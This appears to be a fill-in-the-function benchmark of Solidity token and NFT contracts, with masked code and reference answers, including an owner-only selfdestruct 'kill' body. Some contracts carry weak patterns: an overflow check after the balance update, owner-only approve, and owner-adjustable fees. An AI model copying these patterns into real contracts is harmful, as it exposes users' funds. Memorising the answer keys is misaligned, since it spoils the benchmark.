10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (address payable charityWalletAddress) public { _charityWalletAddress = charityWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } <FILL_FUNCTION> function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function sendBNBToCharity(uint256 amount) private { swapTokensForEth(amount); _charityWalletAddress.transfer(address(this).balance); } function _setCharityWallet(address payable charityWalletAddress) external onlyOwner() { _charityWalletAddress = charityWalletAddress; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into thirds uint256 halfOfLiquify = contractTokenBalance.div(4); uint256 otherHalfOfLiquify = contractTokenBalance.div(4); uint256 portionForFees = contractTokenBalance.sub(halfOfLiquify).sub(otherHalfOfLiquify); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(halfOfLiquify); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalfOfLiquify, newBalance); sendBNBToCharity(portionForFees); emit SwapAndLiquify(halfOfLiquify, newBalance, otherHalfOfLiquify); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount);
function deliver(uint256 tAmount) public
function deliver(uint256 tAmount) public
39288
WILLTOKEN
WILLTOKEN
contract WILLTOKEN is ERC20Interface, Owned { using SafeMath for uint; string public name; string public symbol; uint8 public decimals; uint256 public _totalSupply; address public owner; /* This creates an array with all balances */ mapping (address => uint256) public balances; mapping(address => mapping(address => uint256)) allowed; mapping (address => uint256) public freezeOf; /* Initializes contract with initial supply tokens to the creator of the contract */ function WILLTOKEN ( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) public {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { require( tokens > 0 && to != 0x0 ); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public onlyOwner returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { require( tokens > 0 && to != 0x0 && from != 0x0 ); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Burns the amount of tokens by the owner // ------------------------------------------------------------------------ function burn(uint256 tokens) public onlyOwner returns (bool success) { require (balances[msg.sender] >= tokens) ; // Check if the sender has enough require (tokens > 0) ; balances[msg.sender] = balances[msg.sender].sub(tokens); // Subtract from the sender _totalSupply = _totalSupply.sub(tokens); // Updates totalSupply emit Burn(msg.sender, tokens); return true; } // ------------------------------------------------------------------------ // Freeze the amount of tokens by the owner // ------------------------------------------------------------------------ function freeze(uint256 tokens) public onlyOwner returns (bool success) { require (balances[msg.sender] >= tokens) ; // Check if the sender has enough require (tokens > 0) ; balances[msg.sender] = balances[msg.sender].sub(tokens); // Subtract from the sender freezeOf[msg.sender] = freezeOf[msg.sender].add(tokens); // Updates totalSupply emit Freeze(msg.sender, tokens); return true; } // ------------------------------------------------------------------------ // Unfreeze the amount of tokens by the owner // ------------------------------------------------------------------------ function unfreeze(uint256 tokens) public onlyOwner returns (bool success) { require (freezeOf[msg.sender] >= tokens) ; // Check if the sender has enough require (tokens > 0) ; freezeOf[msg.sender] = freezeOf[msg.sender].sub(tokens); // Subtract from the sender balances[msg.sender] = balances[msg.sender].add(tokens); emit Unfreeze(msg.sender, tokens); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
contract WILLTOKEN is ERC20Interface, Owned { using SafeMath for uint; string public name; string public symbol; uint8 public decimals; uint256 public _totalSupply; address public owner; /* This creates an array with all balances */ mapping (address => uint256) public balances; mapping(address => mapping(address => uint256)) allowed; mapping (address => uint256) public freezeOf; <FILL_FUNCTION> // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { require( tokens > 0 && to != 0x0 ); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public onlyOwner returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { require( tokens > 0 && to != 0x0 && from != 0x0 ); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Burns the amount of tokens by the owner // ------------------------------------------------------------------------ function burn(uint256 tokens) public onlyOwner returns (bool success) { require (balances[msg.sender] >= tokens) ; // Check if the sender has enough require (tokens > 0) ; balances[msg.sender] = balances[msg.sender].sub(tokens); // Subtract from the sender _totalSupply = _totalSupply.sub(tokens); // Updates totalSupply emit Burn(msg.sender, tokens); return true; } // ------------------------------------------------------------------------ // Freeze the amount of tokens by the owner // ------------------------------------------------------------------------ function freeze(uint256 tokens) public onlyOwner returns (bool success) { require (balances[msg.sender] >= tokens) ; // Check if the sender has enough require (tokens > 0) ; balances[msg.sender] = balances[msg.sender].sub(tokens); // Subtract from the sender freezeOf[msg.sender] = freezeOf[msg.sender].add(tokens); // Updates totalSupply emit Freeze(msg.sender, tokens); return true; } // ------------------------------------------------------------------------ // Unfreeze the amount of tokens by the owner // ------------------------------------------------------------------------ function unfreeze(uint256 tokens) public onlyOwner returns (bool success) { require (freezeOf[msg.sender] >= tokens) ; // Check if the sender has enough require (tokens > 0) ; freezeOf[msg.sender] = freezeOf[msg.sender].sub(tokens); // Subtract from the sender balances[msg.sender] = balances[msg.sender].add(tokens); emit Unfreeze(msg.sender, tokens); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
decimals = decimalUnits; // Amount of decimals for display purposes _totalSupply = initialSupply * 10**uint(decimals); // Update total supply name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purpose owner = msg.sender; // Set the creator as owner balances[owner] = _totalSupply; // Give the creator all initial tokens
function WILLTOKEN ( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) public
/* Initializes contract with initial supply tokens to the creator of the contract */ function WILLTOKEN ( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) public
58296
Twentyfourpxmfers
mint
contract Twentyfourpxmfers is ERC721Enum, Ownable, Pausable, ReentrancyGuard { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 0.01 ether; uint256 public maxSupply = 10000; uint256 public maxFree = 1000; uint256 public nftPerAddressLimit = 9; bool public status = false; bool public revealed = false; string public notRevealedUri; mapping(address => uint256) public addressMintedBalance; constructor() ERC721S("24 px mfers", "24pxmfers"){ setBaseURI(""); } function _baseURI() internal view virtual returns (string memory) { return baseURI; } function mint(uint256 _mintAmount) public payable nonReentrant{<FILL_FUNCTION_BODY> } function mintfree(uint256 _mintAmount) public payable nonReentrant{ uint256 s = totalSupply(); require(!paused()); uint256 ownerMintedCount = addressMintedBalance[msg.sender]; require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); require(_mintAmount > 0, "Cant mint 0" ); require(_mintAmount <= 3, "Cant mint more then maxmint" ); require(s + _mintAmount <= maxFree, "Cant go over supply" ); for (uint256 i = 0; i < _mintAmount; ++i) { addressMintedBalance[msg.sender]++; _safeMint(msg.sender, s + i, ""); } delete s; } function gift(uint[] calldata quantity, address[] calldata recipient) external onlyOwner{ require(quantity.length == recipient.length, "Provide quantities and recipients" ); uint totalQuantity = 0; uint256 s = totalSupply(); for(uint i = 0; i < quantity.length; ++i){ totalQuantity += quantity[i]; } require( s + totalQuantity <= maxSupply, "Too many" ); require(!paused()); delete totalQuantity; for(uint i = 0; i < recipient.length; ++i){ for(uint j = 0; j < quantity[i]; ++j){ _safeMint( recipient[i], s++, "" ); } } delete s; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: Nonexistent token"); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxFree(uint256 _newMaxFree) public onlyOwner { maxFree = _newMaxFree; } function setmaxSupply(uint256 _newMaxSupply) public onlyOwner { maxSupply = _newMaxSupply; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setSaleStatus(bool _status) public onlyOwner { status = _status; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }
contract Twentyfourpxmfers is ERC721Enum, Ownable, Pausable, ReentrancyGuard { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 0.01 ether; uint256 public maxSupply = 10000; uint256 public maxFree = 1000; uint256 public nftPerAddressLimit = 9; bool public status = false; bool public revealed = false; string public notRevealedUri; mapping(address => uint256) public addressMintedBalance; constructor() ERC721S("24 px mfers", "24pxmfers"){ setBaseURI(""); } function _baseURI() internal view virtual returns (string memory) { return baseURI; } <FILL_FUNCTION> function mintfree(uint256 _mintAmount) public payable nonReentrant{ uint256 s = totalSupply(); require(!paused()); uint256 ownerMintedCount = addressMintedBalance[msg.sender]; require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); require(_mintAmount > 0, "Cant mint 0" ); require(_mintAmount <= 3, "Cant mint more then maxmint" ); require(s + _mintAmount <= maxFree, "Cant go over supply" ); for (uint256 i = 0; i < _mintAmount; ++i) { addressMintedBalance[msg.sender]++; _safeMint(msg.sender, s + i, ""); } delete s; } function gift(uint[] calldata quantity, address[] calldata recipient) external onlyOwner{ require(quantity.length == recipient.length, "Provide quantities and recipients" ); uint totalQuantity = 0; uint256 s = totalSupply(); for(uint i = 0; i < quantity.length; ++i){ totalQuantity += quantity[i]; } require( s + totalQuantity <= maxSupply, "Too many" ); require(!paused()); delete totalQuantity; for(uint i = 0; i < recipient.length; ++i){ for(uint j = 0; j < quantity[i]; ++j){ _safeMint( recipient[i], s++, "" ); } } delete s; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: Nonexistent token"); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxFree(uint256 _newMaxFree) public onlyOwner { maxFree = _newMaxFree; } function setmaxSupply(uint256 _newMaxSupply) public onlyOwner { maxSupply = _newMaxSupply; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setSaleStatus(bool _status) public onlyOwner { status = _status; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }
uint256 s = totalSupply(); require(!paused()); require(_mintAmount > 0, "Cant mint 0" ); require(_mintAmount <= 20, "Cant mint more then maxmint" ); require(s + _mintAmount <= maxSupply, "Cant go over supply" ); require(msg.value >= cost * _mintAmount); for (uint256 i = 0; i < _mintAmount; ++i) { _safeMint(msg.sender, s + i, ""); } delete s;
function mint(uint256 _mintAmount) public payable nonReentrant
function mint(uint256 _mintAmount) public payable nonReentrant
46750
ERC20
kill
contract ERC20 is ERC { uint public totalSupply; string public name; string public symbol; uint8 public decimals; address public owner; uint token; mapping(address=>uint) balance; mapping (address => mapping (address => uint)) allowed; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function ERC20() public { owner=msg.sender; totalSupply=1000000000; name="Aasim"; symbol="AA"; decimals=18; } modifier checkAdmin(){ if (msg.sender!=owner)revert(); _; } function totalSupply() constant public returns (uint _totalSupply){ return totalSupply; } function balanceOf(address _owner) constant public returns (uint _balance ){ return balance[_owner]; } function transfer(address _to, uint _value) public returns (bool _success){ if(_to==address(0))revert(); if(balance[msg.sender]<_value||_value==0)revert(); token =_value; balance[msg.sender]-=token; balance[_to]+=token; if(balance[_to]+_value<balance[_to]) revert(); Transfer(msg.sender,_to,token); return true; } function allowance(address _owner, address _spender) public constant returns (uint _remaining){ return allowed[_owner][_spender]; } function approve(address _spender, uint _value) public returns (bool _success){ allowed[msg.sender][_spender]=_value; Approval(msg.sender,_spender,_value); return true; } function transferFrom(address _from, address _to, uint _value) public returns (bool _success){ if(_to==address(0))revert(); if(balance[_from] < _value)revert(); if(allowed[_from][msg.sender] ==0)revert(); if(allowed[_from][msg.sender] >=_value){ allowed[_from][msg.sender]-=_value; if(balance[_to]+_value<balance[_to]) revert(); balance[_from]-=_value; balance[_to]+=_value; Transfer(msg.sender,_to,_value); return true; } else{ revert(); } } function() payable { uint amount1=2500*msg.value; amount1=amount1/1 ether; balance[msg.sender]+=amount1; totalSupply-=amount1; } function kill()checkAdmin returns(bool _success){<FILL_FUNCTION_BODY> } }
contract ERC20 is ERC { uint public totalSupply; string public name; string public symbol; uint8 public decimals; address public owner; uint token; mapping(address=>uint) balance; mapping (address => mapping (address => uint)) allowed; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function ERC20() public { owner=msg.sender; totalSupply=1000000000; name="Aasim"; symbol="AA"; decimals=18; } modifier checkAdmin(){ if (msg.sender!=owner)revert(); _; } function totalSupply() constant public returns (uint _totalSupply){ return totalSupply; } function balanceOf(address _owner) constant public returns (uint _balance ){ return balance[_owner]; } function transfer(address _to, uint _value) public returns (bool _success){ if(_to==address(0))revert(); if(balance[msg.sender]<_value||_value==0)revert(); token =_value; balance[msg.sender]-=token; balance[_to]+=token; if(balance[_to]+_value<balance[_to]) revert(); Transfer(msg.sender,_to,token); return true; } function allowance(address _owner, address _spender) public constant returns (uint _remaining){ return allowed[_owner][_spender]; } function approve(address _spender, uint _value) public returns (bool _success){ allowed[msg.sender][_spender]=_value; Approval(msg.sender,_spender,_value); return true; } function transferFrom(address _from, address _to, uint _value) public returns (bool _success){ if(_to==address(0))revert(); if(balance[_from] < _value)revert(); if(allowed[_from][msg.sender] ==0)revert(); if(allowed[_from][msg.sender] >=_value){ allowed[_from][msg.sender]-=_value; if(balance[_to]+_value<balance[_to]) revert(); balance[_from]-=_value; balance[_to]+=_value; Transfer(msg.sender,_to,_value); return true; } else{ revert(); } } function() payable { uint amount1=2500*msg.value; amount1=amount1/1 ether; balance[msg.sender]+=amount1; totalSupply-=amount1; } <FILL_FUNCTION> }
selfdestruct(owner); return true;
function kill()checkAdmin returns(bool _success)
function kill()checkAdmin returns(bool _success)
37868
AsiaModelFestival
unTimeLockList
